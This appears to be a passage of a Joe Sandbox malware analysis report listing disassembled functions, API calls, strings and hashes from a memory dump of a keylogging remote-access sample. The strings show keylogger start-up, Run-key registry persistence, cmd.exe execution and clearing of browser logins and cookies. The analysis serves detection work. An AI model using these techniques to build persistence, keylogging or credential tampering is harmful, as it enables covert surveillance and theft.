                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateThread$LocalTime$wsprintf
                                                                                                                                                                  • String ID: Online Keylogger Started
                                                                                                                                                                  • API String ID: 112202259-1258561607
                                                                                                                                                                  • Opcode ID: 0ab913a718ddbccfb03f45b8536d2eca94befdef1450a1bc42c59ede1cf71113
                                                                                                                                                                  • Instruction ID: 3917ec9fcb61ff418b23047d8298326e5ff7fd14d64f683336ff9c65b5464130
                                                                                                                                                                  • Opcode Fuzzy Hash: 0ab913a718ddbccfb03f45b8536d2eca94befdef1450a1bc42c59ede1cf71113
                                                                                                                                                                  • Instruction Fuzzy Hash: DE01C4916003093AE62076368C87DBF3A6DCA813A8F40043EF541362C3E97D5D5582FB
                                                                                                                                                                  Function 0044AA73 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0044AAC9
                                                                                                                                                                  • GetLastError.KERNEL32(?,0044A991,`@,0046DD28,0000000C), ref: 0044AAD3
                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 0044AAFE
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseErrorHandleLast__dosmaperr
                                                                                                                                                                  • String ID: `@
                                                                                                                                                                  • API String ID: 2583163307-951712118
                                                                                                                                                                  • Opcode ID: e5cf9cf0863519c22c59f520a66439faf8bffb0939932f5db486048d3d382d3d
                                                                                                                                                                  • Instruction ID: 1bd3c876d7044edfb1a6812000b34c32b622226010ed5631802de8abdb52b33d
                                                                                                                                                                  • Opcode Fuzzy Hash: e5cf9cf0863519c22c59f520a66439faf8bffb0939932f5db486048d3d382d3d
                                                                                                                                                                  • Instruction Fuzzy Hash: F8018E366446201AF7206674698577F77898B82738F2A027FF904972D2DE6DCCC5C19F
                                                                                                                                                                  Function 00404915 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60timethreadCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLocalTime.KERNEL32(?), ref: 00404946
                                                                                                                                                                  • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404994
                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,00404B1D,?,00000000,00000000), ref: 004049A7
                                                                                                                                                                  Strings
                                                                                                                                                                  • KeepAlive | Enabled | Timeout: , xrefs: 0040495C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Create$EventLocalThreadTime
                                                                                                                                                                  • String ID: KeepAlive | Enabled | Timeout:
                                                                                                                                                                  • API String ID: 2532271599-1507639952
                                                                                                                                                                  • Opcode ID: 039a83a3673151248ce1c058b5ed99207d7e0ff837a33c13ebd59ef1524b6346
                                                                                                                                                                  • Instruction ID: c7daaf492e0cec12b0841424890a61be8e5b61f5a3177df3d8f4b9063cedc03f
                                                                                                                                                                  • Opcode Fuzzy Hash: 039a83a3673151248ce1c058b5ed99207d7e0ff837a33c13ebd59ef1524b6346
                                                                                                                                                                  • Instruction Fuzzy Hash: 38113AB19042547AC710A7BA8C49BCB7F9C9F86364F00407BF40462192C7789845CBFA
                                                                                                                                                                  Function 00404B29 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47synchronizationCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00404B26), ref: 00404B40
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00404B98
                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,?,00404B26), ref: 00404BA7
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseEventHandleObjectSingleWait
                                                                                                                                                                  • String ID: Connection Timeout
                                                                                                                                                                  • API String ID: 2055531096-499159329
                                                                                                                                                                  • Opcode ID: a97e81c914b9350505812461b63a63b2fd2cd8a093a8b12f04dedae0d79932b3
                                                                                                                                                                  • Instruction ID: ea4abd021a31a941d528121f8d879e106695b0b6a7a7fd2d86c7f06b9a048df4
                                                                                                                                                                  • Opcode Fuzzy Hash: a97e81c914b9350505812461b63a63b2fd2cd8a093a8b12f04dedae0d79932b3
                                                                                                                                                                  • Instruction Fuzzy Hash: 7A01F5B1940B41AFD325BB3A9C4645ABBE4AB45315700053FF6D392BB1DA38E8408B5A
                                                                                                                                                                  Function 00412774 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegCreateKeyW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,?), ref: 0041277F
                                                                                                                                                                  • RegSetValueExW.ADVAPI32 ref: 004127AD
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 004127B8
                                                                                                                                                                  Strings
                                                                                                                                                                  • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0041277D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseCreateValue
                                                                                                                                                                  • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                                                                                                  • API String ID: 1818849710-1051519024
                                                                                                                                                                  • Opcode ID: f3f4d92ea395f83514c7fc898d5ccc6e166341d4c45edfed3dd661c905dadffd
                                                                                                                                                                  • Instruction ID: fff2d7bcc465bc574364a4979b4b77ba115ffea085319746951fe37a0eeb78e5
                                                                                                                                                                  • Opcode Fuzzy Hash: f3f4d92ea395f83514c7fc898d5ccc6e166341d4c45edfed3dd661c905dadffd
                                                                                                                                                                  • Instruction Fuzzy Hash: 9FF0CD31500218BBDF109FA0ED46EEF37ACAB40B50F104539F902A60A1E675DB14DAA4
                                                                                                                                                                  Function 0040CDBE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 0040CDC9
                                                                                                                                                                  • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040CE08
                                                                                                                                                                    • Part of subcall function 004347BD: _Yarn.LIBCPMT ref: 004347DC
                                                                                                                                                                    • Part of subcall function 004347BD: _Yarn.LIBCPMT ref: 00434800
                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 0040CE2C
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                                                                                                                                                  • String ID: bad locale name
                                                                                                                                                                  • API String ID: 3628047217-1405518554
                                                                                                                                                                  • Opcode ID: 07a2f8cd9595a8075203c453c032e2fb497ed10d9d6fcf4fa69d5ee2e3489bdb
                                                                                                                                                                  • Instruction ID: 69d9b4558c1556c2c918d31b5ea24064f6fee533cc814fb99c42b36f0b05f267
                                                                                                                                                                  • Opcode Fuzzy Hash: 07a2f8cd9595a8075203c453c032e2fb497ed10d9d6fcf4fa69d5ee2e3489bdb
                                                                                                                                                                  • Instruction Fuzzy Hash: 1AF08171400204EAC724FB23D853ACA73A49F54748F90497FB506214D2EF38A618CA8C
                                                                                                                                                                  Function 004126D2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,004655B0), ref: 004126E1
                                                                                                                                                                  • RegSetValueExA.ADVAPI32(004655B0,?,00000000,?,00000000,00000000), ref: 00412709
                                                                                                                                                                  • RegCloseKey.ADVAPI32(004655B0), ref: 00412714
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseCreateValue
                                                                                                                                                                  • String ID: Control Panel\Desktop
                                                                                                                                                                  • API String ID: 1818849710-27424756
                                                                                                                                                                  • Opcode ID: 3aedce82be745f7a8d31741b6ddf3b86529f340df0cdc46c1cf573c60441b443
                                                                                                                                                                  • Instruction ID: d7c223529d0a909ac1d5b5cf1be9cbd74eb10d05c00374dbcf2eb8abb0eb8976
                                                                                                                                                                  • Opcode Fuzzy Hash: 3aedce82be745f7a8d31741b6ddf3b86529f340df0cdc46c1cf573c60441b443
                                                                                                                                                                  • Instruction Fuzzy Hash: 98F09032040104FBCB019FA0ED55EEF37ACEF04751F108139FD06A61A1EA75DE04EA94
                                                                                                                                                                  Function 00442A2B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free
                                                                                                                                                                  • String ID: 0OM$0OM
                                                                                                                                                                  • API String ID: 269201875-534113651
                                                                                                                                                                  • Opcode ID: 355a2b3c65916839a6ad296fbcf53db8659258afe353a09d13a6ff2b69a9d4f6
                                                                                                                                                                  • Instruction ID: ddd7c3fed6a6c4927e7352f50179e0370977d5dfa6d274e2bbd3c4f3e15df82f
                                                                                                                                                                  • Opcode Fuzzy Hash: 355a2b3c65916839a6ad296fbcf53db8659258afe353a09d13a6ff2b69a9d4f6
                                                                                                                                                                  • Instruction Fuzzy Hash: A5E06562A4191165B235723F6E07B6B05455BC2339F95022BF815B61D1DEFC8883529F
                                                                                                                                                                  Function 004127D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                                                                                                                                  • RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004), ref: 004127FE
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 00412809
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseCreateValue
                                                                                                                                                                  • String ID: TUF
                                                                                                                                                                  • API String ID: 1818849710-3431404234
                                                                                                                                                                  • Opcode ID: 386e33d00f3fb5cef405d4ff1ae12e7e359dce24562d3d83ccac8fce873b9f24
                                                                                                                                                                  • Instruction ID: 4d8f19d4f5fba69279ea975c705bdc3302fb28fe13ea63ccb444db4f968143a5
                                                                                                                                                                  • Opcode Fuzzy Hash: 386e33d00f3fb5cef405d4ff1ae12e7e359dce24562d3d83ccac8fce873b9f24
                                                                                                                                                                  • Instruction Fuzzy Hash: 8DE03071540204BFEF115B909C05FDB3BA8EB05B95F004161FA05F6191D271CE14D7A4
                                                                                                                                                                  Function 004151B2 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 004151F4
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ExecuteShell
                                                                                                                                                                  • String ID: /C $cmd.exe$open
                                                                                                                                                                  • API String ID: 587946157-3896048727
                                                                                                                                                                  • Opcode ID: b29912c7ec69b7e063321f84cff0ad8ed8559f61d9423d2534ea1fccbc267807
                                                                                                                                                                  • Instruction ID: 3ae8c2b06d9b1922b9065f49b1512f2a4b1b87a12dccb2265ed1bd098505db2c
                                                                                                                                                                  • Opcode Fuzzy Hash: b29912c7ec69b7e063321f84cff0ad8ed8559f61d9423d2534ea1fccbc267807
                                                                                                                                                                  • Instruction Fuzzy Hash: D8E030701043006AC708FB61DC95C7F77AC9A80708F10083EB542A21E2EF3CA949C65E
                                                                                                                                                                  Function 00401430 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 0040143A
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00401441
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                  • String ID: GetCursorInfo$User32.dll
                                                                                                                                                                  • API String ID: 1646373207-2714051624
                                                                                                                                                                  • Opcode ID: f39e1638c21b7beb4c7105e5daed03b820dcbd0345c10e5d325762a4e30a7452
                                                                                                                                                                  • Instruction ID: fea3bfcfa5ad703f85b7dd8d5f3eac54d033561bc9bd2fc33d3800e380b32b62
                                                                                                                                                                  • Opcode Fuzzy Hash: f39e1638c21b7beb4c7105e5daed03b820dcbd0345c10e5d325762a4e30a7452
                                                                                                                                                                  • Instruction Fuzzy Hash: 51B092B868A3059BC7306BE0BD0EA093B24EA44703B1000B2F087C12A1EB7880809A6E
                                                                                                                                                                  Function 004014D5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • LoadLibraryA.KERNEL32(User32.dll), ref: 004014DF
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004014E6
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                                  • String ID: GetLastInputInfo$User32.dll
                                                                                                                                                                  • API String ID: 2574300362-1519888992
                                                                                                                                                                  • Opcode ID: 3fc7b1db73b7af1b2a271cc819159fe1e403f0356e3f7920f37c5b1d7d3a7c56
                                                                                                                                                                  • Instruction ID: 425bdc246283df71b7ad83aa0519e38d385401eab2b134f4ae8d574857069069
                                                                                                                                                                  • Opcode Fuzzy Hash: 3fc7b1db73b7af1b2a271cc819159fe1e403f0356e3f7920f37c5b1d7d3a7c56
                                                                                                                                                                  • Instruction Fuzzy Hash: D7B092B85843849BC7202BE0BC0DA297BA4FA48B43720447AF406D11A1EB7881809F6F
                                                                                                                                                                  Function 00448D0B Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: __alldvrm$_strrchr
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1036877536-0
                                                                                                                                                                  • Opcode ID: fd79a7ba97117714d85021eba27869df20238d29c0b4b296cd839071043617be
                                                                                                                                                                  • Instruction ID: 63a095292c52d92af2bf19a392fdfa9b0d117a80b68c781492b1ecdde0b53e6f
                                                                                                                                                                  • Opcode Fuzzy Hash: fd79a7ba97117714d85021eba27869df20238d29c0b4b296cd839071043617be
                                                                                                                                                                  • Instruction Fuzzy Hash: 60A168729042469FFB21CF58C8817AEBBE2EF55314F24416FE5849B382DA3C8D45C759
                                                                                                                                                                  Function 00441A81 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 9b4993e58d5b3b7c0490c3bd99df1984d1f8f515a64746adb67fb48e1b339b7f
                                                                                                                                                                  • Instruction ID: 90b3d0a8f148eb65ba096d855dd205fb67a40d318d5acb0a54968c3478788488
                                                                                                                                                                  • Opcode Fuzzy Hash: 9b4993e58d5b3b7c0490c3bd99df1984d1f8f515a64746adb67fb48e1b339b7f
                                                                                                                                                                  • Instruction Fuzzy Hash: 10412B71A00744AFF724AF78CC41B6ABBE8EF88714F10452FF511DB291E679A9458788
                                                                                                                                                                  Function 00404688 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,?), ref: 00404778
                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040478C
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,?,?,00000000), ref: 00404797
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 004047A0
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3360349984-0
                                                                                                                                                                  • Opcode ID: e7efdc3c20157fe016eb29e5a130d6f8c33beeccd37b3f6c9988191ed4582187
                                                                                                                                                                  • Instruction ID: f4983b6e647f91c6eb1a16b69ab68a2f9d5597509a23169db7b615edd0c6cdea
                                                                                                                                                                  • Opcode Fuzzy Hash: e7efdc3c20157fe016eb29e5a130d6f8c33beeccd37b3f6c9988191ed4582187
                                                                                                                                                                  • Instruction Fuzzy Hash: 34417171508301ABC700FB61CC55D7FB7E9AFD5315F00093EF892A32E2EA389909866A
                                                                                                                                                                  Function 0040B806 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  • Cleared browsers logins and cookies., xrefs: 0040B8EF
                                                                                                                                                                  • [Cleared browsers logins and cookies.], xrefs: 0040B8DE
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Sleep
                                                                                                                                                                  • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                                                                                                                                                  • API String ID: 3472027048-1236744412
                                                                                                                                                                  • Opcode ID: c1d9957bbb0b6ffbc53675b18bda7a9e9a83474d3c872a81f0d626b3d463543d
                                                                                                                                                                  • Instruction ID: 8ec9c8031b8ac0664cfb8a22ca307bf710261ddd843e88104a77dac6ce00e7b7
                                                                                                                                                                  • Opcode Fuzzy Hash: c1d9957bbb0b6ffbc53675b18bda7a9e9a83474d3c872a81f0d626b3d463543d
                                                                                                                                                                  • Instruction Fuzzy Hash: FA31891564C3816ACA11777514167EB6F958A93754F0884BFF8C4273E3DB7A480893EF
                                                                                                                                                                  Function 00411524 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 93sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0041265D: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?), ref: 00412679
                                                                                                                                                                    • Part of subcall function 0041265D: RegQueryValueExA.ADVAPI32 ref: 00412692
                                                                                                                                                                    • Part of subcall function 0041265D: RegCloseKey.ADVAPI32(?), ref: 0041269D
                                                                                                                                                                  • Sleep.KERNEL32(00000BB8), ref: 004115C3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseOpenQuerySleepValue
                                                                                                                                                                  • String ID: @CG$exepath$BG
                                                                                                                                                                  • API String ID: 4119054056-3221201242
                                                                                                                                                                  • Opcode ID: bf5574a8b4d2f3dae16cf885c7a16fb18bb29924f8325a853eaea5d7e5cb2135
                                                                                                                                                                  • Instruction ID: 48aadeccb903c06d46a934e3c92f1fe58b0119fffb77d403c20537554d94cb98
                                                                                                                                                                  • Opcode Fuzzy Hash: bf5574a8b4d2f3dae16cf885c7a16fb18bb29924f8325a853eaea5d7e5cb2135
                                                                                                                                                                  • Instruction Fuzzy Hash: C721F4A0B002042BD614B77A6C06ABF724E8BD1308F00457FBD4AA72D3DE7D9D4581AD
                                                                                                                                                                  Function 00409C4B Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0041B6E6: GetForegroundWindow.USER32 ref: 0041B6F6
                                                                                                                                                                    • Part of subcall function 0041B6E6: GetWindowTextLengthW.USER32(00000000), ref: 0041B6FF
                                                                                                                                                                    • Part of subcall function 0041B6E6: GetWindowTextW.USER32(00000000,00000000,00000001,00000001,00000000), ref: 0041B729
                                                                                                                                                                  • Sleep.KERNEL32(000001F4), ref: 00409C95
                                                                                                                                                                  • Sleep.KERNEL32(00000064), ref: 00409D1F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Window$SleepText$ForegroundLength
                                                                                                                                                                  • String ID: [ $ ]
                                                                                                                                                                  • API String ID: 3309952895-93608704
                                                                                                                                                                  • Opcode ID: f97a645a0d2da22bcac442ef33f0edb303259d95a1ef08cf99aa338e08c2de75
                                                                                                                                                                  • Instruction ID: a5f4dc9a3e016f43683dc3f70dfd76a68f9d753ffdb665cb1c6be196efeb7d0c
                                                                                                                                                                  • Opcode Fuzzy Hash: f97a645a0d2da22bcac442ef33f0edb303259d95a1ef08cf99aa338e08c2de75
                                                                                                                                                                  • Instruction Fuzzy Hash: 4611C0325082005BD218FB25DC17AAEB7A8AF51708F40047FF542221E3EF39AE1986DF
                                                                                                                                                                  Function 0041B58F Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041B5CE
                                                                                                                                                                  • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041B6A5,00000000,00000000), ref: 0041B5EB
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00000000,00000000,004061FD,00000000), ref: 0041B5FF
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041B60C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CloseCreateHandlePointerWrite
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3604237281-0
                                                                                                                                                                  • Opcode ID: cba3a97e1e2bda49592f8a8e1d6d35a5d6160c6c563f13c2ae5fe5c742252b28
                                                                                                                                                                  • Instruction ID: 083799f3d1f95ebfb1fb2bbe8bc155d348f6fb5eb74ded268dd94cd43ec1eb57
                                                                                                                                                                  • Opcode Fuzzy Hash: cba3a97e1e2bda49592f8a8e1d6d35a5d6160c6c563f13c2ae5fe5c742252b28
                                                                                                                                                                  • Instruction Fuzzy Hash: 7501F5712092157FE6104F28AC89EBB739EEB86379F10063AF552C22C0D725CD8586BE
                                                                                                                                                                  Function 00442CD2 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: bac99735e7dd953dd7de7a25bc7a472b089e844b0a047387f9cea53258e5f848
